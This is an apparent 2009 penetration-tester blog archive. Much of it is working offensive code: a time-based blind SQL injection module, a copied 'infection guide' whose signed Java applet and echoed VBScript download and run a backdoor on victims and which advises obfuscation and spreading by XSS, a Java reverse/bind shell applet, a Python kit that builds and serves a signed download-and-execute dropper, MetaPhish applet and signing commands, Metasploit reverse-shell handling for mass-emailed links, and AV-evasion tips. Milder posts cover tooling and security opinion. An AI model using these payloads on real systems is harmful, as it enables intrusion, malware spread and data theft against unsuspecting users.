Wednesday, November 18, 2009

patch to import_burp.rb

small update to import_burp.rb script from Jonathan Voris to deal with recent changes in burp log format


*** import_burp.rb Mon Oct 26 14:13:09 2009
--- import_burp2.rb Wed Nov 18 10:38:59 2009
***************
*** 51,57 ****
hostRegex = /(http|https)?:\/\/(\S+):(\d+)/
#From http://www.regular-expressions.info/examples.html
ipAddrRegex = /\[(\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b)\]/
! methodRegex = /(HEAD|GET|POST|PUT|DELETE|TRACE|OPTIONS|CONNECT) \/([^\?]*)\?*(\S*) /
responseRegex = /^HTTP\/\d.\d (\d\d\d)/

#Open the database file
--- 51,58 ----
hostRegex = /(http|https)?:\/\/(\S+):(\d+)/
#From http://www.regular-expressions.info/examples.html
ipAddrRegex = /\[(\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b)\]/
! methodRegex = /(HEAD|GET|POST|PUT|DELETE|TRACE|OPTIONS|CONNECT) .*\/([^\?]*)\?*(\S*) /
! removeJunkRegex = /UTF\-\d+/
responseRegex = /^HTTP\/\d.\d (\d\d\d)/

#Open the database file
***************
*** 193,198 ****
--- 194,202 ----
puts("Skipping this entry: neither the host name nor the IP address match the specified target.")
else
#set the values in the query
+
+ responseBody.gsub!(removeJunkRegex, "")
+
dbQuery.bind_param("host", ipAddr)
dbQuery.bind_param("port", port)
dbQuery.bind_param("ssl", ssl)

Monday, November 02, 2009

python binary file patch script


#!/usr/bin/python
"""
simple script to patch a binary file
"""
import sys,os
from binascii import *
import re
def read_bytes(filename,start_address,number_of_bytes):
fh = open(filename,'rb')
fh.seek(start_address)
data = fh.read(number_of_bytes)
fh.close()
return hexlify(data)
def replace_bytes(filename,search,replace):
output = filename + ".patched"
o = open(output,wb)
data = open(filename).read()
o.write(re.sub(a2b_hex(search),a2b_hex(replace),data) )
o.close()
def write_bytes(filename,start_address,newbytes):
output = filename + ".patched"
fh = open(output,'wb')
newbytes_hex = a2b_hex(newbytes)
bytesize = len(newbytes_hex)/2 #read data up to the start address
end_address = start_address + bytesize
for i in open(filename,'rb').read():
t = fh.tell()
if t < start_address or t > end_address:
fh.write(i)
#print fh.tell()
else:
fh.write(newbytes_hex)
#print "patched " + output +" with " + newbytes + " starting at " + hex(t)
fh.flush()
fh.close()
def main(name,address,bytes):
size = len(bytes)/2
print "before " + read_bytes(name,address,size)
write_bytes(name,address,bytes)
print "after " + read_bytes(name+".patched",address,size)
if __name__ == "__main__":
f = "test.exe"
a = 0x0003113
w = "DEADBEEF"
main(f,a,w)

Monday, October 05, 2009

sqlninja mod

sub fingerprint_db (diff)
{
my $word1 = "if ascii(substring((select db_name()),";
my $word2 = ",1)) < ";
my $word3 = " waitfor delay '0:0:".$blindtime."';";

my $len1 = "if (select len(db_name())) < ";
my $len2 = " waitfor delay '0:0:".$blindtime."';";

local $/=\1;
local $|=1;

print "[+] Checking whether we are in master db...\n";
$query = "if not(select db_name()) <> 'master' waitfor delay '0:0:"
.$blindtime."'";
}
#####################
sub fingerprint_tables
{
my $minlen = 0;
my $maxlen = 30;
my $len = -1;
my $candidate;
my $query;
my $delay;
my $number_of_tables2 = " waitfor delay '0:0:".$blindtime."';";

my $number_of_tables = "if (SELECT LTRIM(STR(COUNT(name))) FROM sysobjects WHERE xtype IN ('u', 'v')) < "; #### expect an interation after this

my $word1 = "if ascii(substring(( SELECT TOP 1 name FROM sysobjects WHERE xtype IN ('u', 'v') AND name NOT IN (SELECT TOP "; ### expect $number of tables
my $word15 = " name FROM sysobjects WHERE xtype IN ('u', 'v') ORDER BY name ASC) ORDER BY name ASC), ";
my $word2 = ",1)) < ";
my $word3 = " waitfor delay '0:0:".$blindtime."';";
my $size;
local $/=\1;
local $|=1;

###############
$delay = 0; $len = 30;
################
if ($delay > ($blindtime - 2)) {
print " We seem to be in the master db :)\n";
return 1;
} else {
print " Getting the number of tables\n";
print "[+] Finding tables length... \n";
my $number = 0; #set the start number of dbs
while ($number < $maxlen) {
$query = $number_of_tables.$number.$number_of_tables2;
$delay=tryblind($query);
if ($delay < $blindtime - 2) {
$number++;
} else {
$size = $number -1;
$number=$maxlen;
}
}

print " Got it ! There are ".$size." tables \n";
print "[+] Now going for the tablenames........\n";
my $asciinum = -1;
my $charnum;
my $minchar;
my $maxchar;
my $tb_num;
my $no_of_tb;
### set no of tables == $len
$no_of_tb = $len;
for ($tb_num=0;$tb_num<=$no_of_tb;$tb_num++) {
print " Name of table ".$tb_num." is....: ";
#### loop through each table

for ($charnum=1; $charnum<=$len; $charnum++) {
$minchar=32;
$maxchar=126;
while ($asciinum < 0 ) {
$candidate = int(($minchar+$maxchar)/2);
$query=$word1.$tb_num.$word15.$charnum.$word2.$candidate.$word3;
$delay=tryblind($query);
if (($maxchar-$minchar) > 1) {
if ($delay < $blindtime - 2) {
$minchar=$candidate;
} else {
$maxchar=$candidate;
}
if ($minchar==$maxchar) {
$asciinum=$minchar;
}
} else {
if ($delay < $blindtime - 2) {
$asciinum=$maxchar-1;
} else {
$asciinum=$minchar;
}
}
}
### if you see this char number stop
if ($asciinum == 125) {
print "\n";
return 0;

}
printf("%c",$asciinum);
#print($asciinum);
$asciinum=-1;
}
print "\n";
} ### end while
return 0;
} ### end for
} ### end for

Wednesday, September 16, 2009

Infection Guide Using Java/VbScript

########################################################################
# IGUJV - Infection Guide Using Java/VbScript
########################################################################
#
# Hi. This is a minimalistic guide on "how to infect anyone".
# This is not a 0day. It's a pwning method wich is one click away
# from the victim. It is pretty simple and the best of all
# it takes no time at all. (And it is undetectable too if you do it right)
#
########################################################################
#
# Author: AnalyseR
# eMaiL: alienyser@gmail.com
# Greetz to: DarkPaiN, Marianaki_Ki, Franko, Aragorn, __Potter__, Santa_Cruz
#
########################################################################

After a few attempts to think a way to infect specific (or any) computer systems,
i found that Java could be THE solution. I am not a Java Programmer/Developer or whatever
but this piece of code is pretty easy to be read by anyone who had a little programming
expirience. The question "how to infect someone" is the hardest one, when you are coding
your new backdoor/trojan or whatever malware. I mean... ok, you have your new backdoor
compiled. You've tested it and it works great. But how the hell can you spread it???
There are several methods, but nothing is invisible from the user's eye. And that's because
all the well known methods are... WELL KNOWN :)

Ok, let me go with the subject and show you how it's done. I've developed the 80%
of this attack (at least) and i say 80 because the backdoor server i use isn't made by me,
and the vbscript is from a googled page. Anyway, the Java code has been written by me and
the "idea" is also my "product". So be gentle with this :PpPPp.

I won't explain the meaning of what does every single line of code here, because
i don't want to and because you must understand by your self how it works. Any other
explanation on the codes, will be useless if you can't read the source code by your self.
(I speak English by my self for example :Pp noone teached me how it's done. It just happens.)
(Little crappy but i hope you understand anywayz)


####What you need to play with this method ######################
1) The official Java compiler (and the rest of Java developer tools)
2) Basic HTML/Java/VBScripting knowledge
3) Java Runtimes
4) Web Browser
5) Hosting for the tests
6) A backdoor uploaded to your host
7) Mind
8) Coffee

#############################################################################

The process
###########################################################################

1) Create a java file with the following code inside and name it whatever you want
(i faced problems with the THIRD parameter, cut it to the second one or just use it as it is.
Works fine for me...).

########################### START COPY HERE ##############################

import java.applet.*;
import java.awt.*;
import java.io.*;
public class skata extends Applet {
public void init() {
Process f;
String first = getParameter("first");
try{
f = Runtime.getRuntime().exec(first);

}
catch(IOException e){
e.printStackTrace();
}
Process s;
String second = getParameter("second");
try{
s = Runtime.getRuntime().exec(second);
}
catch(IOException e){
e.printStackTrace();
}
Process t;
String third = getParameter("third");
try{
t = Runtime.getRuntime().exec(third);
}
catch(IOException e){
e.printStackTrace();
}
}
}

########################### END COPY HERE ##############################

2) Compile your java applet with the java developer tools and sign it too.
A good name could be "Microsoft Corporation" or something.
3) Upload your signed/compiled applet to your host and your backdoor too.
4) Open notepad and paste the following html code.
(change the YOUR-JAVA-APPLET-NAME with your own java filename)

########################### START COPY HERE ##############################




########################### END COPY HERE ##############################


5) Upload it as .htm to your host and browse it :) You will see the Java Security warning.
Click RUN.... BooM! Calculator and cmd spawned!
6) Have in mind that THIS warning comes out in EVERY java applet you are running. EITHER A
JAVA GAME or a JAVA IRC CLIENT.
7) Change the .htm code in to something like the following (Take a look, it's a vbscript
echoed from cmd.exe - this will download our backdoor).


########################### START COPY HERE ##############################


C:\windows\apsou.vbs & echo Const adSaveCreateOverWrite = 2 >> C:\windows\apsou.vbs &
echo Dim BinaryStream >> C:\windows\apsou.vbs & echo Set BinaryStream =
CreateObject("ADODB.Stream") >> C:\windows\apsou.vbs & echo BinaryStream.Type =
adTypeBinary >> C:\windows\apsou.vbs & echo BinaryStream.Open >> C:\windows\apsou.vbs &
echo BinaryStream.Write BinaryGetURL(Wscript.Arguments(0)) >> C:\windows\apsou.vbs &
echo BinaryStream.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite >>
C:\windows\apsou.vbs & echo Function BinaryGetURL(URL) >> C:\windows\apsou.vbs &
echo Dim Http >> C:\windows\apsou.vbs & echo Set Http =
CreateObject("WinHttp.WinHttpRequest.5.1") >> C:\windows\apsou.vbs &
echo Http.Open "GET", URL, False >> C:\windows\apsou.vbs & echo Http.Send >>
C:\windows\apsou.vbs & echo BinaryGetURL = Http.ResponseBody >> C:\windows\apsou.vbs &
echo End Function >> C:\windows\apsou.vbs & echo Set shell = CreateObject("WScript.Shell") >>
C:\windows\apsou.vbs & echo shell.Run "C:\windows\update.exe" >> C:\windows\apsou.vbs &
start C:\windows\apsou.vbs http://hello.world.com/backdoor.exe C:\windows\update.exe'>


########################### END COPY HERE ##############################

8) Note that i use C:\Windows. If you want to infect win2k or vista you might want to
change it to %windir% or whatever you want.
9) To see the vbscript code clearly, infect your self and open C:\windows\apsou.vbs ;)))
(you don't need to do it at all).
10) Change the backdoor URL on the above html code (http://hello.world.com/backdoor.exe) and
the location you want to download it.
11) Fill the page with flash games, pictures, texts. This will keep the victim's mind away ;)
12) Save your new .htm and upload....
13) Now browse it and wait. Wait.. wait.. BOOM! :) Backdoored.
14) You trust an irc client? :) You can be pwned. Without to mention anything. Just by clicking
run.
15) If you want some roots, you can change the above script to attack linux users only.
(Or you can make 2 different versions)
16) Use it with XSS to infect a lot of people.
17) Use <script src=""> to include the script, don't let the people see what's inside your page. Remember to change the permissions to.18) Use multiple unescape functions for your code. This will keep away any suspicious users for a while.

CONCLUSION:
##############
It's big mistake to think that you are safe with your new antivirus or your brand new million dollar anti-whatever system. This is not any kind of exploitation. It's just social engineering-like attack. I see 10 of these warnings every day on the net.
Either i want to play a game and kill my time or whatever i want to do with a java applet. It's nothing strange or special than that. But hello, there is a "hole" on this. You can execute LOCAL, anything you want

Tested (and working) under Windows XP SP2-SP3, Full Updated, Java Runtimes 5-something...
Proof of concept: http://analyser.overflow.gr/basta/analyser.htm
Enjoy milw0rmers..

# milw0rm.com [2008-12-12]

Friday, September 04, 2009

Password lists for WPA/WPA2 cracking

Here are a few resources to build your own lists. There are many, many more available if you search the Internet.

  • Etemenanki is a shell script that “builds word dictionnaries based on remote and local (hyper)text repositories”.
  • Associative Word List Generator allows you to build custom lists based on a “root” word.
  • Password Generator is a program that generates all the variations of a string of characters based on the length of the string.
  • Password Generator is a program that goes through standard and arbitrary permutations of strings.

Thursday, August 27, 2009

@ffxp system reconfiguration // friday 8/28/2009

security recommendation for this week:

If you use keypass on your desktop, (you are using a password manager right?), then you can easily store those passwords on your mobile device.

Keepass for the blackberry: http://sourceforge.net/projects/keepassbb/
Keepass J2ME http://sourceforge.net/projects/keepassj2me/

Thursday, August 20, 2009

so easy a 9 year old can do it

From time to time I get questions from my son about ethical hacking, penetration testing, lock picking and the like. It has always been important for me emphasize the "ethical" and legal components of these activities.

For example, one day the swimming pool was unexpectedly closed and locked with a padlock. He has seen me pick these types of locks for the better part of his life. However he respects the rules posted and knows the picking the lock to get in would likely be against the law. More importantly he knows that the lock provides little to no security against criminals or vandals.

I've recently began showing him how to spot simple web application vulnerabilities using test applications on a private network. He was able to perform his first authentication bypass using a forgot password function in the application. I'm proud of him but know I have a to continue re-enforcing his positive sense of ethics and concern for others.

Friday, July 24, 2009

java applet bindshell / reverseshell

mostly not my code, inspiration from valsmith, hdm, etc...

/*
<html>
<head></head>
<body>
<applet archive="SecurityApplet.jar" code="SecurityApplet.class" width="1 height=">
<param name="rhost" value="10.1.1.1">
<param name="rport" value="4444">
</applet>
</body>
</html>
*/


import java.io.*;
import java.net.*;
import java.applet.Applet;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;

public class SecurityApplet extends Applet
{

public static String data = null;

public void init()
{
try
{

String rport = getParameter("RPORT");
String rhost = getParameter("RHOST");

Socket clientSocket = null;
ServerSocket serverSocket = null;
String os = System.getProperty( "os.name" );
String shell = "/bin/sh";
if( os.indexOf( "Windows" ) >= 0 )
shell = "cmd.exe";



try {

if (rhost == null && rport != null) {
serverSocket = new ServerSocket(Integer.parseInt(rport));
clientSocket = serverSocket.accept();
}
if ( rhost != null && rport != null ) {
clientSocket = new Socket(rhost,Integer.parseInt(rport));
} else {
rport = "4444";
serverSocket = new ServerSocket(Integer.parseInt(rport));
clientSocket = serverSocket.accept();
}


if (clientSocket != null) {

Process proc = Runtime.getRuntime().exec( shell );

PrintWriter out = new PrintWriter(clientSocket.getOutputStream(), true);
shellthread output = new shellthread(proc.getInputStream(), clientSocket.getOutputStream());
shellthread input = new shellthread(clientSocket.getInputStream(), proc.getOutputStream());

output.start();
input.start();
}
// serverSocket.close();
// clientSocket.close();
}
catch(NumberFormatException nfe)
{
System.out.println("nfe: " + nfe);
}
catch(IOException ioe)
{
System.out.println("ioe2: " + ioe);
}



}
catch( Exception e ) {}
}
//////////////////////////////////////////
private class shellthread extends Thread
{
InputStream inps;
OutputStream outs;
shellthread(InputStream inps, OutputStream outs)
{
this.inps = inps;
this.outs = outs;
}
public void run()
{
BufferedReader bufr = null;
BufferedWriter bufw = null;
try
{
bufr = new BufferedReader(new InputStreamReader(inps));
bufw = new BufferedWriter(new OutputStreamWriter(outs));
char buffer[] = new char[8192];
int lenRead;

while((lenRead = bufr.read(buffer, 0, buffer.length)) != -1)
{
bufw.write(buffer, 0, lenRead);
bufw.flush();
}
}
catch(Exception ioe)
{
System.out.println("ioe3: " + ioe);
}

try
{
if(bufr != null) bufr.close();
if(bufw != null) bufw.close();
}
catch (IOException ioe)
{
System.out.println("ioe4: " + ioe);
}
}
}
///////////////////////////////////



}

Tuesday, July 21, 2009

#!/usr/bin/python

"""
this is based on val smith pre-metaphish stuff. And of course python roughly corrisponds to the Aitel book of style
"""

import os,socket

class jvd ():

def __init__(self):
self.localurl =" "
self.iName = " "
self.certName = " "
self.command = " "
self.command_args = " "
self.base_name = "update" # base java file name
self.java_name = self.base_name + ".java"
self.class_name = self.base_name + ".class" #class extension
self.unsigned_jarname = self.base_name + "_unsigned_.jar" #jar extenstion
self.signed_jarname = self.base_name + ".jar"

def write_file(self,name, data):
fh = open(name, 'w')
fh.write(data)
fh.close
print "[*] wrote to " + name

def jcode(self,command,command_args,filename):
javacode = \
'import java.applet.Applet;' +"\n" \
'import java.io.*;' + "\n"\
'import java.net.*;'+"\n" \
'import java.io.IOException;'+"\n" \
'public class update extends Applet {' + "\n"\
'public update() { }' +"\n" \
'public void init() { downloadURL(); cmd();'+"\n" \
'} /* end public void init */'+"\n" \
'public void downloadURL() {'+"\n" \
'OutputStream out = null;'+"\n" \
'URLConnection conn = null;'+"\n" \
'InputStream in = null;'+"\n" \
'try {'+"\n" \
'String geturi = getParameter("URI");'+"\n" \
'URL url = new URL(geturi);'+"\n" \
'String localfile = getParameter("LOCALFILE");'+"\n" \
'if (localfile == null) { localfile = "'+ command + '";}' "\n" \
'out = new BufferedOutputStream('+"\n" \
'new FileOutputStream(localfile));'+"\n" \
'conn = url.openConnection();'+"\n" \
'in = conn.getInputStream();'+"\n" \
'byte[] buffer = new byte[1024];'+"\n" \
'int numRead;'+"\n" \
'long numWritten = 0;'+"\n" \
'while ((numRead = in.read(buffer)) != -1) {'+"\n" \
'out.write(buffer, 0, numRead);'+"\n" \
'numWritten += numRead;'+"\n" \
'} /* end while */'+"\n" \
'} /* end try */'+"\n" \
'catch (Exception exception) {'+"\n" \
'exception.printStackTrace();'+"\n" \
'} /* end catch */'+"\n" \
'finally {'+"\n" \
'try {'+"\n" \
'if (in != null) {'+"\n" \
'in.close();'+"\n" \
'} /* end if */'+"\n" \
'if (out != null) {'+"\n" \
'out.close();'+"\n" \
'} /* end if */'+"\n" \
'} /* end try */'+"\n" \
'catch (IOException ioe) { }'+"\n" \
'} /* end finally */'+"\n" \
'} /* end public void downloadURL */'+"\n" \
'public void cmd() {'+"\n" \
'Process process;'+"\n" \
'try {'+"\n" \
'process = Runtime.getRuntime().exec("cmd.exe /c ' + command + ' ' + command_args + '");'+"\n" \
'} /* end try */'+"\n" \
'catch(IOException ioexception) { }'+"\n" \
'} /* end public void cmd */'+"\n" \
'} /* end public class */' +"\n"
self.write_file(filename,javacode)



def sign(self,signed_jar,unsigned_jar,cert):
signer = "cn=" + cert
cmd0 = "keytool -genkey -alias signFiles " + \
"-keystore tkeystore -storepass tstorepass -dname "+ signer + " -keypass tkeypass"

cmd1 = "jarsigner -keystore tkeystore " + \
"-storepass tstorepass -keypass tkeypass -signedjar " + signed_jar + " " + unsigned_jar +" signFiles"


print "[*] executing " + cmd0
os.system(cmd0)
print "[*] executing " + cmd1
os.system(cmd1)


def servit(self):
import SimpleHTTPServer
# = 8888
SimpleHTTPServer.test()

def javac(self,java_name,class_name):
javac_cmd = "javac "+ java_name
os.system(javac_cmd)
print "[*] compiled " + java_name + " to classfile " + class_name


def jarit(self,jarfile,classfile):
jar_cmd = "jar -cvf "+ jarfile + " " + classfile
print "[*] compressing " + jarfile
os.system(jar_cmd)

def icode(self,filename,localurl):
iframecode = \
'<html>' \
'<body>' \
'<APPLET code="update.class" ' + \
'archive="'+ "update.jar" + '" width="1" height="1">' \
'<PARAM NAME="URI" VALUE="'+localurl +' ">' \
'</APPLET>' \
'</body>' \
'</html>'
self.write_file(filename,iframecode)





def run(self):

self.icode(self.iName,self.localurl)
self.jcode(self.command,self.command_args,self.java_name)
self.javac(self.java_name, self.class_name)
self.jarit(self.unsigned_jarname,self.class_name)
self.sign(self.signed_jarname,self.unsigned_jarname,self.certName)
self.servit()




if __name__ == '__main__':

print "[*] inititiating java dropper kit"
local_ip_address = socket.gethostbyname(socket.gethostname())
app = jvd()
app.base_name = "update"
app.localurl = "http://"+ local_ip_address +":8000/sbd.exe"
app.certName = "\"cert\""
app.command = "c:\\\d.exe"
app.command_args = " -lp 1234 -e cmd.exe"
app.iName = "index.html"
app.run()

using old msf code for fun

Using socketNinja.pl with the Metasploit Framework
http://justfriends4n0w.blogspot.com/2006/01/using-socketninjapl-with-metasploit.html

Say you want to use an exploit using the Metasploit framework to get a reverse shell, but you don’t want to have the exploit exit when it is done. For example, there are some web browser vulnerabilities. It would be nice to run the exploit (which emulates a web server), send out a URL that contains a link to your (metasploit created) web server, and then send out a thousand e-mails which point people to it. Then, you would want to be able to track the connections that came back and interact with them as needed…

That is the capability that socketNinja.pl provides.

Basic concepts and terminology:

socketNinja machine: The computer you are running socketNinja.pl (probably the same machine you are running Metasploit to accomplish exploits, but not necessarily.)

Listener: This is a port on your socketNinja machine that is listening. A regular listener is a port that you will redirect reverse shells to.

Attached Listener: port on your socketNinja machine that you telnet into in order to access the shell on the remote host.

Server: This is the remote host which you have compromised.

Client: This machine is connected up to the remote host by telneting or connecting to the attached listener. This is the machine which you are typing commands on to be executed on the remote machine.

Client->socketNinja machine attached listener <-socketNinja Listener <- server



The following commands are available:

help Shows you all of the commands
help command Shows you help on each command
l Lists your connections
as Adds a server
ar Adds a random attached Listener
li Creates a listener
run Launches a program on an attached Listener
set Sets a config value
sc Prints configuration settings
wc writes the configuration settings to a file
q Quits





1, If you are on Windows, launch the Cygshell command. In Linux just get a shell. Navigate to the Metasploit Framework/home/framework/tools directory.

2. run socketNinja.pl

perl socketNinja.pl –d

You can use any port on your machine that is not currently being used.

3, launch msfconsole

4. Set up an exploit to use socketNinja.pl

use ie_xp_pfv_reverse
set NinjaDontKill 1
set LHOST
set LPORT

set PAYLOAD win32_reverse
exploit
(I left the HTTPPORT at the default of 8080.)

According to the Metasploit User Guide you can also use NinjaHost and NinjaPort to redirect all communications from an exploit to the host running a SocketNinja listener.

5. In the shell you are running socketNinja.pl look at your connections by typing l.

You will see a listing of all your listeners, and who is connected up to them,

The machines you have exploited are listed under the Server column. The listener you created is in the listener column. Note that each listener has a number. Each server has a number as well. So, the first machine you exploited has a listener # of 0 and a server # of 0. The second machine you exploited has a listener # of 0 and a server # of 1, etc. For now, I am only going to use a single listener with a listener # of 0.

What you need to do is create an Attached Listener to your server. This will be a port on your own machine that if you telnet to it (or use nc or whatever) will give you a shell on your exploited machine. The easiest way to do this is using the ar command which will attach a listener to a random port. The format for the ar command is

ar [listener #] [server #]

ar 0 0

This command will print out the local port that it has attached a listener on. For example it will print out something like:

* new listener (5) bound to 127.0.0.1 5217

Alternatively, you could create a listener on the port of your choosing by using the ac command. The syntax for this is

ac [listener #] [server #] [ip:]

So, to create an attached listener on port 5217 this would work:

ac 0 0 127.0.0.1 5217

6. nc or telnet into your Attached listener

telnet 127.0.0.1 5217
or
nc –v 127.0.0.1 5217

So, in the end, we have something that looks like this:

Client->socketNinja machine attached listener (in this case port 5127 on 127.0.0.1) <-socketNinja Listener (in this case 192.168.13.1 50) <- server (in this case 192.168.13.2)


Final notes:

Apparently, you cannot use SocketNinja.pl with staged payloads. But you can use it with the bind payload or the reverse shell payloads.

You may want to create multiple listeners. For example, you may have one listener to which you send Windows exploits to and a second listener to which you send Linux exploits to. Then you have an easy way to get find all the Windows exploited hosts for example to target with some other stuff.

When you are finally connected up to your server and you have a shell, tying exit will kill the shell on the compromised machine. This is probably not what you want to do. Exit your sessions by hitting control-c in nc or using control-[ and then using the quit command in telnet.

Tuesday, July 14, 2009

joanna // daily dave

Sure, but there is a difference between "understanding exploits" and being an
exploit fetishist.

Some time ago I attended a security conference well known for having very
technical audience. I was told the majority of those people are up to date with
all the recent advances in exploitation techniques -- heap overflows, getting
around ASRL/NX, etc. But when I started my lecture, which was about Trusted
Computing, it turned the number of people who knew how TPM works was... close to
zero! And we're talking about some real basic stuff here, nothing fancy like
TXT. Just what a PCR register is, and what are the advantages of trusted boot.

I actually read recently an interview with a well know researcher, who I
actually respect myself, who happily announced that he's protecting his laptop
using an FDE software, and, to make it more secure, he's powering it down as
often as possible (in order to mitigate possibility of cold-boot attacks).
Interestingly, he didn't realize he actually makes it much easier for even a
hotel maid to get his encryption key... This is so basic and yet have nothing to
do with advanced exploit understanding.

Now, who do you think can provide more security into an organization, like e.g.
a bank -- a heap-overflow ninja that can bypass ASLR on the most recent Vista,
or a person who would realize that maybe it is worth buying a
trusted-boot-supported full disk encryption (FDE) software, as otherwise it
would be trivial for the *real* adversary to get around it? Or a person that can
tell you that your employees should use 2 different desktop computers and would
be able to decide how to split tasks and activities between the two?

Sure, experience in exploit writing is sometimes crucial. Probably it is of the
utmost important to e.g. OS kernel architects, who might attempt to build in all
the anti-exploitation technologies into the OS (which is what they do in fact).
Or to processor and chipset vendors. This requires great understanding of
possible workarounds.

It is also important for governments for obvious reasons.

But very few people are OS kernel architects and governments offensive teams.
And the further you go, the less you need those extreme skills, which is exploit
writing as it is today. If you are only a *consumer* of computer products (e.g.
a bank, or an airport), then I really see no reason why you should even be able
to understand the difference between a heap overflow vs. stack overflow. You
just need to understand what a shellcode is and what it can potentially do (i.e.
everything). You should understand that SELinux will not provide you all the
promised features, because it has big monolithic TCB (the Linux kernel) that
represents a huge attack vector. But you don't need to know how to write an
exploit for SELinux. etc.

joanna.


> On Tue, Jul 14, 2009 at 3:07 PM, Joanna
> Rutkowska wrote:
>> dave wrote:
>>> People (this means you) like to think hard about game changing events in
>>> the world of hacking. But just staying on the treadmill of exploit after
>>> exploit can be a game changing event.
>>>
>>> For example, today you may have noticed that Intevydis
>>> (http://www.intevydis.com/vulndisco.shtml) released as part of their
>>> latest exploit pack, some exploits for all the major access
>>> point/mini-router firmwares. Not CSRF "exploits" or XSS "exploits". I
>>> mean "Here's a shell, now you get to install new programs and muck with
>>> the router's configuration" exploits.
>>>
>>> For a lot of people (not you) it's hard to care about such things. The
>>> inevitable ennui sets in: "oh, not another one", "that one is similar to
>>> one I found in 1992AD", "well, if you had good patch management that's
>>> the best you can do!", etc. etc.
>>>
>>> The magic is in finding each one of these things unique and special and
>>> worth of attention.
>>>
>> ... or, instead of being an exploit fetishist, one might try to design their
>> network in such a way that a compromise of your network devices is not fatal.
>> Same for PDF viewers, browsers, etc. and how you design your computer system.
>>
>> Sure, it's cool to write exploits -- that always impresses people. We also do
>> that at ITL. E.g. we will be showing a couple of VM escape exploits during our
>> upcoming virtualization training (and we really are excited about those
>> exploits!), but the whole point is to illustrate how a good design (in that
>> particular case of your hypervisor) and new technologies (e.g. VT-d or TXT) can
>> mitigate a problem of exploits, even if we cannot find and patch them all.
>>
>> I think one should not forget that an exploit, no matter how cool, is only an
>> illustration of a problem. The actual solutions often have nothing to do with
>> how exploits are written. Do you really think VT-d designers were heap-overflow
>> ninjas? I doubt.
>>
>> joanna.
>>
>>
>>_______________________________________________
>> Dailydave mailing list
>> Dailydave@lists.immunitysec.com
>> http://lists.immunitysec.com/mailman/listinfo/dailydave
>>
>>

Friday, June 19, 2009

MetaPhish - Pentest Summit 2009

These guys did a cool presentation at the SANS pentest summit 09.

Val Smith (valsmith@attackresearch.com)
Colin Ames (amesc@attackresearch.com)
David Kerb (dkerb@attackresearch.com)

Here is some of the code from the presentation. Thanks guys!!!

import java.applet.Applet;
import java.io.*;
import java.net.*;
import java.io.IOException;
public class WebDispApp extends Applet {
public WebDispApp() { }
public void init() { downloadURL(); cmd();
} /* end public void init */
public void downloadURL() {
OutputStream out = null;
URLConnection conn = null;
InputStream in = null;
try {
String geturi = getParameter("URI");
URL url = new URL(geturi);
String localfile = getParameter("LOCALFILE");
out = new BufferedOutputStream(
new FileOutputStream(localfile));
conn = url.openConnection();
in = conn.getInputStream();
byte[] buffer = new byte[1024];
int numRead;
long numWritten = 0;
while ((numRead = in.read(buffer)) != -1) {
out.write(buffer, 0, numRead);
numWritten += numRead;
} /* end while */
} /* end try */
catch (Exception exception) {
exception.printStackTrace();
} /* end catch */
finally {
try {
if (in != null) {
in.close();
} /* end if */
if (out != null) {
out.close();
} /* end if */
} /* end try */
catch (IOException ioe) { }
} /* end finally */
} /* end public void downloadURL */
public void cmd() {
Process process;
try {
process =
Runtime.getRuntime().exec("cmd.exe /c c:\\met.exe");
} /* end try */
catch(IOException ioexception) { }
} /* end public void cmd */
} /* end public class */


keytool -genkey -alias signFiles -keystore msfkeystore -storepass msfstorepass -dname "cn=Company Name" -keypass msfkeypass

jarsigner -keystore msfkeystore -storepass msfstorepass -keypass msfkeypass -signedjar sWebDispApp.jar WebDispApp.jar signFiles

keytool -export -keystore msfkeystore -storepass msfstorepass -alias signFiles -file MetaPhishLLC.cer

keytool -import -alias company -file MetaPhishLLC.cer -keystore msfkeystore -storepass msfstorepass

<html>
<body>
<APPLET code="MetaPhish.class" archive="sMetaPhish.jar" width="1" height="1">
<PARAM NAME="URI" VALUE="http://127.0.0.1/calc.exe">
<PARAM NAME="LOCALFILE" VALUE="c:\\data.exe">
</APPLET>
</body>
</html>

Tuesday, June 09, 2009

AV Bypass - #metasploit list

Q >>> is a way to apply the msfencode to a generic PE file?

HDM >>> Not yet - msfencode only works on small chunks of an assembler, what you are looking for is a full-blown packer, such as ASPack or UPX. A great way to bypass AV product detection is to use a standard packer (UPX is easy) and then manually tweak the binary in a hex editor (change the UPX0-3 section names, replace some of the instructions at the entry point with equivalent opcodes, etc).

I have used dsplit to understand AV signature before. It can be quite a pita though. I'll post some results using the HDM-UPX methodology.

As usual, 10X to HDM.

Friday, June 05, 2009

displaying code on blogger.com sites

I've continually has issues posting code samples to blogger.

I knew everything had to be escaped and so forth, but laziness is a virtue when it comes to coding

This site is perfect for getting code in a format that looks good on blogger sites.

http://www.elliotswan.com/postable

Thank goodness for laziness.

penetration testing OFX servers, part II

I'm finally caught up on report writing. I've had back yo back tests scheduled since the beginning of the year. It's nice to have a couple weeks without people asking me when they can see a preliminary version of a report I'm writing up and so forth...

So after about a minute of looking at https traffic with wireshark, I knew it was time to either hook some browser calls with immunity debugger, or even better, take a look at oSpy. From the website "oSpy is a tool which aids in reverse-engineering software running on the Windows platform".

It turns out oSpy already has built in hooking for send/recv calls in the right places to see https calls from a local browser in clear text.

So it became fairly easy to understand exactly how this particular OFX service linked to see xml data formatted.

OFX services are like WSDL-less web services. The OFX server registers with intuit or microsoft and publishes a request format that the client has to use to request the specific data format that further requests must be formatted in.

It's kind of an anonymous bind that returns a schema with instructions on how to perform an authenticated request. I guess this might be due to the age of the specification that allows a relatively closed architecture around specific schema's for data transmission.

This is what I ended up using along with burp intruder to fuzz the unfriendly service.

import httplib
import re

PROXYHOST = "proxy.webmonyz.net"
PROXYPORT = 8080

URL = "https://www.ofxserver.com:443/web/default.ofx"
HOST = URL.split('/')[2]


regex = re.compile('<\w >\w ')

headers = {"Content-type": "application/x-ofx","Accept": "*/*","Host": "ofx.ofxserver.com"}
data = """\
OFXHEADER:100
DATA:OFXSGML
VERSION:102
SECURITY:NONE
ENCODING:USASCII
CHARSET:1389
COMPRESSION:NONE
OLDFILEUID:NONE
NEWFILEUID:NONE

<OFX>
<SIGNONMSG>
<SONRQ>
<CLIENT>20080414141414.123[-4:EDT]
<USERID>anonymous
